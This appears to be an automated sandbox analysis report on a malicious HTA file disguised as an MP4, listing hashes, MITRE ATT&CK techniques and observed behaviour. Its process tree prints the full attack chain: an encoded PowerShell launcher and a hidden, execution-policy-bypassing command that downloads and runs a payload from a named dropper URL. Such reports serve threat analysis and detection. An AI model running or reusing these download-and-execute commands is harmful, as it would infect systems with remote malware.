3cf8f04202e09ddfff4c1febc10873a38258116fadd806ce1110f36445bbeaf0

General

Target

title.mp4.hta
Size

2.6MB
MD5

5ffa4145e79128ab1c56abfb5a8455d7
SHA1

e8cec6950853414976683615b1467b1d4dae8ee6
SHA256

3cf8f04202e09ddfff4c1febc10873a38258116fadd806ce1110f36445bbeaf0
SHA512

b0c4356886e40cc9dce4eb2c0918ed4ef88dc9ef7441963d89ff3c0790d2e49b3319ea3a26094a496350163eb98f39888822bbf67530e38a5bd32a427e7884c1
SSDEEP

49152:SSQwzfrpqz053/ySQwzfrpqzoSQwzfrpqzoSQwzfrpqzd:SgIVgIsgI0gIR

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cabf.klipdesak.shop/smugle.bd

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2844	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2844	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
2844	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	2844	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 1500	2016	mshta.exe	30
PID 2016 wrote to memory of 1500	2016	mshta.exe	30
PID 2016 wrote to memory of 1500	2016	mshta.exe	30
PID 2016 wrote to memory of 1500	2016	mshta.exe	30
PID 1500 wrote to memory of 2844	1500	powershell.exe	33
PID 1500 wrote to memory of 2844	1500	powershell.exe	33
PID 1500 wrote to memory of 2844	1500	powershell.exe	33
PID 1500 wrote to memory of 2844	1500	powershell.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\title.mp4.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwBsAGUAZQBwACAAMgAwADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AYwBhAGIAZgAuAGsAbABpAHAAZABlAHMAYQBrAC4AcwBoAG8AcAAvAHMAbQB1AGcAbABlAC4AYgBkACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://cabf.klipdesak.shop/smugle.bd'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0E6XKWY1B0WOFWR3RDZF.temp

Filesize
7KB

MD5
fccc972f699476d5706a0f4488da12e9

SHA1
933ccf314704f6fbdfe0c2dec48e6660c233daa6

SHA256
cc91a974d251dd5644c5e0a73441c404b76a04106a3afe245cc3286f5d4f2ef5

SHA512
13e0da67f7e911630c533ca1a53f6b514a7d71485b7cc83f278541b447a4a3dc6ff9433d019f749781b233acaa90246c8fa7523f069f6b7d76b4d37aa224936e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
99d6a429c85c68a61174447658a48606

SHA1
f37296c558914d92c1f4326130cb5eb18e6725c7

SHA256
7e579ea0458e48fe3317275a62b219cee99e792f2d87659b4ace5374941d7606

SHA512
fc7086650586c4293ee81cd1df778b60822d3fd6f9fb06214e2644a22abb8b83c986c1ca76dee2e438559e07652ef3eb5b821159bbc1e1df6158a644cf53b4b1

Download Submit

Analysis

Sharing